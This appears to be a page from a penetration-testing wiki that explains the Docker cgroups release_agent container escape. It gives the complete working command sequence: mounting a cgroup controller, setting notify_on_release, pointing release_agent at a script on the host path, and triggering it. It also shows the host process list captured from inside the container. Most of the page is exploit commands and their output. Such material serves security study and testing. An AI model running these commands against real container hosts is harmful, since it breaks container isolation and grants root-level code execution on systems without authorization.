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Network Services Pentesting
Docker release_agent cgroups escape
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Breaking down the proof of concept

To trigger this exploit we need a cgroup where we can create a release_agent file and trigger release_agent invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup.
To do that, we create a /tmp/cgrp directory, mount the RDMA cgroup controller and create a child cgroup (named “x” for the purposes of this example). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers.
If you’re following along and get mount: /tmp/cgrp: special device cgroup does not exist, it’s because your setup doesn’t have the RDMA cgroup controller. Change rdma to memory to fix it. We’re using RDMA because the original PoC was only designed to work with it.
Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another.
We can see the “x” child cgroup creation and its directory listing below.
[email protected]:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
[email protected]:/# ls /tmp/cgrp/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
[email protected]:/# ls /tmp/cgrp/x
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
Next, we enable cgroup notifications on release of the “x” cgroup by writing a 1 to its notify_on_release file. We also set the RDMA cgroup release agent to execute a /cmd script — which we will later create in the container — by writing the /cmd script path on the host to the release_agent file. To do it, we’ll grab the container’s path on the host from the /etc/mtab file.
The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host.
Those operations can be seen below:
[email protected]:/# echo 1 > /tmp/cgrp/x/notify_on_release
[email protected]:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
[email protected]:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
Note the path to the /cmd script, which we are going to create on the host:
[email protected]:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
Now, we create the /cmd script such that it will execute the ps aux command and save its output into /output on the container by specifying the full path of the output file on the host. At the end, we also print the /cmd script to see its contents:
[email protected]:/# echo '#!/bin/sh' > /cmd
[email protected]:/# echo "ps aux > $host_path/output" >> /cmd
[email protected]:/# chmod a+x /cmd
[email protected]:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a /bin/sh process and writing its PID to the cgroup.procs file in “x” child cgroup directory, the script on the host will execute after /bin/sh exits. The output of ps aux performed on the host is then saved to the /output file inside the container:
[email protected]:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
[email protected]:/# head /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]

References

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